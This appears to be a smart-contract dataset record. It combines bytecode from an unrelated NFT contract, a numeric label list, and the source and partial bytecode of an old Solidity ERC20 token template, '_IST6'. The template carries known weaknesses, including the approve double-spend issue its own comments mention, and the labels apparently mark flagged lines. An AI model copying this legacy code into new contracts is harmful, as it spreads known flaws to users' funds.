5b61111c565b6102e96105c5366004612c3c565b6111a1565b61035c6105d8366004612c3c565b61127b565b61035c7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a681565b610334610612366004612d5a565b611292565b61035c60075481565b61035c61062e366004612e52565b6112b8565b610334610641366004612e52565b6112c3565b6102cc610654366004612f25565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b610334610690366004612c9b565b61133f565b6103346106a3366004612e52565b61153f565b60006001600160e01b0319821663152a902d60e11b14806106cd57506106cd826116be565b92915050565b6060600180546106e290612f41565b80601f016020809104026020016040519081016040528092919081815260200182805461070e90612f41565b801561075b5780601f106107305761010080835404028352916020019161075b565b820191906000526020600020905b81548152906001019060200180831161073e57829003601f168201915b5050505050905090565b6000610772826000541190565b6107d95760405162461bcd60e51b815260206004820152602d60248201527f455243373231413a20617070726f76656420717565727920666f72206e6f6e6560448201526c3c34b9ba32b73a103a37b5b2b760991b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b600061080082610ee0565b9050806001600160a01b0316836001600160a01b0316141561086f5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a20617070726f76616c20746f2063757272656e74206f776e60448201526132b960f11b60648201526084016107d0565b336001600160a01b038216148061088b575061088b8133610654565b6108fd5760405162461bcd60e51b815260206004820152603960248201527f455243373231413a20617070726f76652063616c6c6572206973206e6f74206f60448201527f776e6572206e6f7220617070726f76656420666f7220616c6c0000000000000060648201526084016107d0565b6109088383836116e3565b505050565b7f9f2df0fed2c77648de5860a4cc508cd0818c85b8b8a1ab4ceeef8d981c8956a6610938813361173f565b600a5460ff161561097e5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016107d0565b60008361ffff16116109c85760405162461bcd60e51b81526020600482015260136024820152724d494e554d554d5f4d494e545f4f465f4f4e4560681b60448201526064016107d0565b600c5461ffff600160a01b8204811691600160b01b900481169085166109ed60005490565b6109f79190612f92565b610a019190612f92565b1115610a455760405162461bcd60e51b815260206004820152601360248201527213505617d4d55414131657d15610d151511151606a1b60448201526064016107d0565b610908828461ffff166117bf565b6109088383836117d9565b600c546001600160a01b03163314610ab85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107d0565b6127108162ffffff161115610b0f5760405162461bcd60e51b815260206004820152601560248201527f42415349535f504f494e54535f544f4f5f48494748000000000000000000000060448201526064016107d0565b600e805462ffffff909216600160a01b0262ffffff60a01b19909216919091179055565b60408051808201909152600e546001600160a01b038116808352600160a01b90910462ffffff1660208301819052909160009161271090610b749086612faa565b610b7e9190612fdf565b9150509250929050565b6000610b94813361173f565b6002600b541415610be75760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0060448201526064016107d0565b6002600b55610bf582611b6c565b50506001600b55565b600082815260086020526040902060010154610c1a813361173f565b6109088383611d1e565b6000610c2f83610f01565b8210610c885760405162461bcd60e51b815260206004820152602260248201527f455243373231413a206f776e657220696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016107d0565b600080549080805b83811015610d32576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215610ce357805192505b876001600160a01b0316836001600160a01b03161415610d1f5786841415610d11575093506106cd92505050565b83610d1b81612ff3565b9450505b5080610d2a81612ff3565b915050610c90565b5060405162461bcd60e51b815260206004820152602e60248201527f455243373231413a20756e61626c6520746f2067657420746f6b656e206f662060448201527f6f776e657220627920696e64657800000000000000000000000000000000000060648201526084016107d0565b6001600160a01b0381163314610e1f5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084016107d0565b610e298282611d40565b5050565b6000610e39813361173f565b610e41611d62565b50565b6109088383836040518060200160405280600081525061111c565b600080548210610ebd5760405162461bcd60e51b815260206004820152602360248201527f455243373231413a20676c6f62616c20696e646578206f7574206f6620626f756044820152626e647360e81b60648201526084016107d0565b5090565b6000610ecd813361173f565b815161090890600d906020850190612b0e565b6000610eeb82611dfe565b5192915050565b6060610efc611fb6565b905090565b60006001600160a01b038216610f6d5760405162461bcd60e51b815260206004820152602b60248201527f455243373231413a2062616c616e636520717565727920666f7220746865207a60448201526a65726f206164647265737360a81b60648201526084016107d0565b506001600160a01b03166000908152600460205260409020546001600160801b031690565b600c546001600160a01b03163314610fec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107d0565b610ff66000611fc5565b565b6000611004813361173f565b610e41612017565b60008281526009602052604081206110249083612092565b9392505050565b60408051808201909152600080825260208201526106cd82611dfe565b6060600280546106e290612f41565b6001600160a01b0382163314156110b05760405162461bcd60e51b815260206004820152601a60248201527f455243373231413a20617070726f766520746f2063616c6c657200000000000060448201526064016107d0565b3360008181526006602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6111278484846117d9565b6111338484848461209e565b61119b5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107d0565b50505050565b60606111ae826000541190565b6112205760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201527f6e6578697374656e7420746f6b656e000000000000000000000000000000000060648201526084016107d0565b600061122a611fb6565b9050600081511161124a5760405180602001604052806000815250611024565b80611254846121f8565b60405160200161126592919061300e565b6040516020818303038152906040529392505050565b60008181526009602052604081206106cd906122f6565b6000828152600860205260409020600101546112ae813361173f565b6109088383611d40565b60006106cd82612300565b600c546001600160a01b0316331461131d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107d0565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600c546001600160a01b031633146113995760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107d0565b600a5460ff16156113df5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016107d0565b60008261ffff16116114295760405162461bcd60e51b81526020600482015260136024820152724d494e554d554d5f4d494e545f4f465f4f4e4560681b60448201526064016107d0565b600c5461ffff600160a01b909104811690831661144560005490565b61144f9190612f92565b11156114935760405162461bcd60e51b815260206004820152601360248201527213505617d4d55414131657d15610d151511151606a1b60448201526064016107d0565b600c5461ffff600160b01b909104811690831611156114f45760405162461bcd60e51b815260206004820152601560248201527f4d41585f52455345525645535f4558434545444544000000000000000000000060448201526064016107d0565b611502818361ffff166117bf565b81600c60168282829054906101000a900461ffff16611521919061303d565b92506101000a81548161ffff021916908361ffff1602179055505050565b600c546001600160a01b031633146115995760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107d0565b6001600160a01b0381166115fe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d0565b610e4181611fc5565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff16610e295760008281526008602090815260408083206001600160a01b03851684529091529020805460ff191660011790556116653390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000611024836001600160a01b0384166123aa565b60006001600160e01b03198216635a05180f60e01b14806106cd57506106cd826123f9565b60008281526005602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff16610e295761177d816001600160a01b0316601461241e565b61178883602061241e565b604051602001611799929190613060565b60408051601f198184030181529082905262461bcd60e51b82526107d091600401612c29565b610e298282604051806020016040528060008152506125c7565b60006117e482611dfe565b80519091506000906001600160a01b0316336001600160a01b0316148061181b57503361181084610765565b6001600160a01b0316145b8061182d5750815161182d9033610654565b9050806118a25760405162461bcd60e51b815260206004820152603260248201527f455243373231413a207472616e736665722063616c6c6572206973206e6f742060448201527f6f776e6572206e6f7220617070726f766564000000000000000000000000000060648201526084016107d0565b846001600160a01b031682600001516001600160a01b0316146119165760405162461bcd60e51b815260206004820152602660248201527f455243373231413a207472616e736665722066726f6d20696e636f72726563746044820152651037bbb732b960d11b60648201526084016107d0565b6001600160a01b03841661197a5760405162461bcd60e51b815260206004820152602560248201527f455243373231413a207472616e7366657220746f20746865207a65726f206164604482015264647265737360d81b60648201526084016107d0565b61198a60008484600001516116e3565b6001600160a01b03851660009081526004602052604081208054600192906119bc9084906001600160801b03166130e1565b82546101009290920a6001600160801b038181021990931691831602179091556001600160a01b03861660009081526004602052604081208054600194509092611a0891859116613101565b82546001600160801b039182166101009390930a9283029190920219909116179055506040805180820182526001600160a01b03808716825267ffffffffffffffff428116602080850191825260008981526003909152948520935184549151909216600160a01b026001600160e01b03199091169190921617179055611a90846001612f92565b6000818152600360205260409020549091506001600160a01b0316611b2257611aba816000541190565b15611b225760408051808201825284516001600160a01b03908116825260208087015167ffffffffffffffff9081168285019081526000878152600390935294909120925183549451909116600160a01b026001600160e01b03199094169116179190911790555b83856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45b505050505050565b60075481611bbc5760405162461bcd60e51b815260206004820152601860248201527f7175616e74697479206d757374206265206e6f6e7a65726f000000000000000060448201526064016107d0565b60006001611bca8484612f92565b611bd49190613123565b90506001600054611be59190613123565b811115611bfe576001600054611bfb9190613123565b90505b611c09816000541190565b611c645760405162461bcd60e51b815260206004820152602660248201527f6e6f7420656e6f756768206d696e7465642079657420666f722074686973206360448201526506c65616e75760d41b60648201526084016107d0565b815b818111611d0a576000818152600360205260409020546001600160a01b0316611cf8576000611c9482611dfe565b60408051808201825282516001600160a01b03908116825260209384015167ffffffffffffffff9081168584019081526000888152600390965293909420915182549351909416600160a01b026001600160e01b0319909316931692909217179055505b80611d0281612ff3565b915050611c66565b50611d16816001612f92565b600755505050565b611d288282611607565b600082815260096020526040902061090890826116a9565b611d4a82826128ee565b60008281526009602052604090206109089082612971565b600a5460ff16611db45760405162461bcd60e51b815260206004820152601460248201527f5061757361626c653a206e6f742070617573656400000000000000000000000060448201526064016107d0565b600a805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b6040516001600160a01b03909116815260200160405180910390a1565b6040805180820190915260008082526020820152611e1d826000541190565b611e7c5760405162461bcd60e51b815260206004820152602a60248201527f455243373231413a206f776e657220717565727920666f72206e6f6e657869736044820152693a32b73a103a37b5b2b760b11b60648201526084016107d0565b60007f00000000000000000000000000000000000000000000000000000000000000148310611edd57611ecf7f000000000000000000000000000000000000000000000000000000000000001484613123565b611eda906001612f92565b90505b825b818110611f47576000818152600360209081526040918290208251808401909352546001600160a01b038116808452600160a01b90910467ffffffffffffffff169183019190915215611f3457949350505050565b5080611f3f8161313a565b915050611edf565b5060405162461bcd60e51b815260206004820152602f60248201527f455243373231413a20756e61626c6520746f2064657465726d696e652074686560448201527f206f776e6572206f6620746f6b656e000000000000000000000000000000000060648201526084016107d0565b6060600d80546106e290612f41565b600c80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600a5460ff161561205d5760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b60448201526064016107d0565b600a805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611de13390565b60006110248383612986565b60006001600160a01b0384163b156121ec57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120e2903390899088908890600401613151565b602060405180830381600087803b1580156120fc57600080fd5b505af192505050801561212c575060408051601f3d908101601f191682019092526121299181019061318d565b60015b6121d2573d80801561215a576040519150601f19603f3d011682016040523d82523d6000602084013e61215f565b606091505b5080516121ca5760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107d0565b805181602001fd5b6001600160e01b031916630a85bd0160e11b1490506121f0565b5060015b949350505050565b60608161221c5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612246578061223081612ff3565b915061223f9050600a83612fdf565b9150612220565b60008167ffffffffffffffff81111561226157612261612d7d565b6040519080825280601f01601f19166020018201604052801561228b576020820181803683370190505b5090505b84156121f0576122a0600183613123565b91506122ad600a866131aa565b6122b8906030612f92565b60f81b8183815181106122cd576122cd6131be565b60200101906001600160f81b031916908160001a9053506122ef600a86612fdf565b945061228f565b60006106cd825490565b60006001600160a01b03821661237e5760405162461bcd60e51b815260206004820152603160248201527f455243373231413a206e756d626572206d696e74656420717565727920666f7260448201527f20746865207a65726f206164647265737300000000000000000000000000000060648201526084016107d0565b506001600160a01b0316600090815260046020526040902054600160801b90046001600160801b031690565b60008181526001830160205260408120546123f1575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556106cd565b5060006106cd565b60006001600160e01b03198216637965db0b60e01b14806106cd57506106cd826129b0565b6060600061242d836002612faa565b612438906002612f92565b67ffffffffffffffff81111561245057612450612d7d565b6040519080825280601f01601f19166020018201604052801561247a576020820181803683370190505b509050600360fc1b81600081518110612495576124956131be565b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106124c4576124c46131be565b60200101906001600160f81b031916908160001a90535060006124e8846002612faa565b6124f3906001612f92565b90505b6001811115612578577f303132333435363738396162636465660000000000000000000000000000000085600f1660108110612534576125346131be565b1a60f81b82828151811061254a5761254a6131be565b60200101906001600160f81b031916908160001a90535060049490941c936125718161313a565b90506124f6565b5083156110245760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e7460448201526064016107d0565b6000546001600160a01b03841661262a5760405162461bcd60e51b815260206004820152602160248201527f455243373231413a206d696e7420746f20746865207a65726f206164647265736044820152607360f81b60648201526084016107d0565b612635816000541190565b156126825760405162461bcd60e51b815260206004820152601d60248201527f455243373231413a20746f6b656e20616c7265616479206d696e74656400000060448201526064016107d0565b7f00000000000000000000000000000000000000000000000000000000000000148311156126fd5760405162461bcd60e51b815260206004820152602260248201527f455243373231413a207175616e7469747920746f206d696e7420746f6f2068696044820152610ced60f31b60648201526084016107d0565b6001600160a01b0384166000908152600460209081526040918290208251808401845290546001600160801b038082168352600160801b9091041691810191909152815180830190925280519091908190612759908790613101565b6001600160801b031681526020018583602001516127779190613101565b6001600160801b039081169091526001600160a01b0380881660008181526004602090815260408083208751978301518716600160801b0297909616969096179094558451808601865291825267ffffffffffffffff4281168386019081528883526003909552948120915182549451909516600160a01b026001600160e01b031990941694909216939093179190911790915582905b858110156128e35760405182906001600160a01b038916906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a461285b600088848861209e565b6128c35760405162461bcd60e51b815260206004820152603360248201527f455243373231413a207472616e7366657220746f206e6f6e204552433732315260448201527232b1b2b4bb32b91034b6b83632b6b2b73a32b960691b60648201526084016107d0565b816128cd81612ff3565b92505080806128db90612ff3565b91505061280e565b506000819055611b64565b60008281526008602090815260408083206001600160a01b038516845290915290205460ff1615610e295760008281526008602090815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b6000611024836001600160a01b038416612a1b565b600082600001828154811061299d5761299d6131be565b9060005260206000200154905092915050565b60006001600160e01b031982166380ac58cd60e01b14806129e157506001600160e01b03198216635b5e139f60e01b145b806129fc57506001600160e01b0319821663780e9d6360e01b145b806106cd57506301ffc9a760e01b6001600160e01b03198316146106cd565b60008181526001830160205260408120548015612b04576000612a3f600183613123565b8554909150600090612a5390600190613123565b9050818114612ab8576000866000018281548110612a7357612a736131be565b9060005260206000200154905080876000018481548110612a9657612a966131be565b6000918252602080832090910192909255918252600188019052604090208390555b8554869080612ac957612ac96131d4565b6001900381819060005260206000200160009055905585600101600086815260200190815260200160002060009055600193505050506106cd565b60009150506106cd565b828054612b1a90612f41565b90600052602060002090601f016020900481019282612b3c5760008555612b82565b82601f10612b5557805160ff1916838001178555612b82565b82800160010185558215612b82579182015b82811115612b82578251825591602001919060010190612b67565b50610ebd9291505b80821115610ebd5760008155600101612b8a565b6001600160e01b031981168114610e4157600080fd5b600060208284031215612bc657600080fd5b813561102481612b9e565b60005b83811015612bec578181015183820152602001612bd4565b8381111561119b5750506000910152565b60008151808452612c15816020860160208601612bd1565b601f01601f19169290920160200192915050565b6020815260006110246020830184612bfd565b600060208284031215612c4e57600080fd5b5035919050565b80356001600160a01b0381168114612c6c57600080fd5b919050565b60008060408385031215612c8457600080fd5b612c8d83612c55565b946020939093013593505050565b60008060408385031215612cae57600080fd5b823561ffff81168114612cc057600080fd5b9150612cce60208401612c55565b90509250929050565b600080600060608486031215612cec57600080fd5b612cf584612c55565b9250612d0360208501612c55565b9150604084013590509250925092565b600060208284031215612d2557600080fd5b813562ffffff8116811461102457600080fd5b60008060408385031215612d4b57600080fd5b50508035926020909101359150565b60008060408385031215612d6d57600080fd5b82359150612cce60208401612c55565b634e487b7160e01b600052604160045260246000fd5b600067ffffffffffffffff80841115612dae57612dae612d7d565b604051601f8501601f19908116603f01168101908282118183101715612dd657612dd6612d7d565b81604052809350858152868686011115612def57600080fd5b858560208301376000602087830101525050509392505050565b600060208284031215612e1b57600080fd5b813567ffffffffffffffff811115612e3257600080fd5b8201601f81018413612e4357600080fd5b6121f084823560208401612d93565b600060208284031215612e6457600080fd5b61102482612c55565b60008060408385031215612e8057600080fd5b612e8983612c55565b915060208301358015158114612e9e57600080fd5b809150509250929050565b60008060008060808587031215612ebf57600080fd5b612ec885612c55565b9350612ed660208601612c55565b925060408501359150606085013567ffffffffffffffff811115612ef957600080fd5b8501601f81018713612f0a57600080fd5b612f1987823560208401612d93565b91505092959194509250565b60008060408385031215612f3857600080fd5b612cc083612c55565b600181811c90821680612f5557607f821691505b60208210811415612f7657634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115612fa557612fa5612f7c565b500190565b6000816000190483118215151615612fc457612fc4612f7c565b500290565b634e487b7160e01b600052601260045260246000fd5b600082612fee57612fee612fc9565b500490565b600060001982141561300757613007612f7c565b5060010190565b60008351613020818460208801612bd1565b835190830190613034818360208801612bd1565b01949350505050565b600061ffff8381169083168181101561305857613058612f7c565b039392505050565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000815260008351613098816017850160208801612bd1565b7f206973206d697373696e6720726f6c652000000000000000000000000000000060179184019182015283516130d5816028840160208801612bd1565b01602801949350505050565b60006001600160801b038381169083168181101561305857613058612f7c565b60006001600160801b0380831681851680830382111561303457613034612f7c565b60008282101561313557613135612f7c565b500390565b60008161314957613149612f7c565b506000190190565b60006001600160a01b038087168352808616602084015250836040830152608060608301526131836080830184612bfd565b9695505050505050565b60006020828403121561319f57600080fd5b815161102481612b9e565b6000826131b9576131b9612fc9565b500690565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fdfea26469706673582212203ad87d53888351078f547cfb7268c684d5f0d5efc965fcac7631ce5ca7d5812464736f6c63430008090033
[ 5, 7, 9, 12 ]
0xf22e3e575dc2f27b852ce388390c3e91ca46651a
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // '0Fucks' token contract // // Deployed to : 0xb95690Ed0000fcA7C1B38Eb0dA1E045858Db08f3 // Symbol : _IST6 // Name : _IST6 Token // Total supply: 100000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract _IST6 is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "_IST6"; name = "_IST6 Token"; decimals = 18; _totalSupply = 100000000000000000000000000; balances[0xb95690Ed0000fcA7C1B38Eb0dA1E045858Db08f3] = _totalSupply; emit Transfer(address(0), 0xb95690Ed0000fcA7C1B38Eb0dA1E045858Db08f3, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffff